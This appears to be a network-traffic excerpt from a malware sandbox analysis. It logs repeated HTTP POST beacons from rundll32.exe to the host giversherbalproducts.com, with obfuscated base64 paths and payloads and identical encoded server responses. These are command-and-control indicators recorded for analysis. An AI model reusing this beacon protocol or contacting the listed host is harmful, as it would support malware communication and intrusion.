f3p/QUVCQ0FBfn15eH96fXt+e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.3	50012	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:37.225560904 CEST	7186	OUT	POST /lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:37.768908024 CEST	7188	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.3	50013	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:37.925945997 CEST	7189	OUT	POST /lBawcxb5/OnpzfCgTHXM2GH48fT0MGgQ8Gy4OOEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:38.462789059 CEST	7190	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.3	49771	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:17.209060907 CEST	1069	OUT	POST /lBawcxb5/EgwECwQhMhk+BQkuH38nHQUtIy4GLwpFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:17.716084003 CEST	1071	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:17 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.3	50014	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:38.109404087 CEST	7189	OUT	POST /lBawcxb5/ARIOfBYGO3o7KnIbB349AA84dDZCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:38.589324951 CEST	7191	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.3	50016	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:38.832303047 CEST	7198	OUT	POST /lBawcxb5/JQ0uHDszfz1/KBIBKQ4kO31CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:39.702991009 CEST	7200	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:38 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.3	50017	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:39.077732086 CEST	7199	OUT	POST /lBawcxb5/DwsdInwaBgE7GDJDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:39.568079948 CEST	7200	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:39 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
183	192.168.2.3	50018	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:39.996486902 CEST	7201	OUT	POST /lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:40.443396091 CEST	7203	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.3	50019	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:40.186028957 CEST	7202	OUT	POST /lBawcxb5/DnIfACIKED4/Fx0AO0V+cnhlfXlzZHlifA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:40.633591890 CEST	7204	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.3	50020	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:40.919933081 CEST	7204	OUT	POST /lBawcxb5/OnpzfCgTHXM2GH48fT0MGgQ8Gy4OOEJ9dnlkenp3ZXhlfw== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:41.589224100 CEST	7206	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:40 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 39 66 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt9fUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.3	50021	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:40.925693989 CEST	7205	OUT	POST /lBawcxb5/Oj4sHA4ELXo6PSIABXx7E3hyFCsJInNFfnJ4ZX15c2R5Ynw= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
